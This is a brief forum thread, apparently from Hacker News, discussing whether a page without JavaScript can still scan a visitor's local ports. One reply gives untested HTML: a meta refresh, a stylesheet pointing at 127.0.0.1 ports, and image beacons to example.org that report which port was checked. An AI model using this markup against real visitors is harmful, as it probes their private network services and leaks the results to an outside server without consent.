3 ms·
If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.
by ricardobeat 6y ago
If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.
- cygx 6y agoInstead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element. You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested): <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43"> <link rel="stylesheet" href="http://127.0.0.1:42"> <img src="http://example.org/?checked-port=42">
- deleted 6y ago[deleted]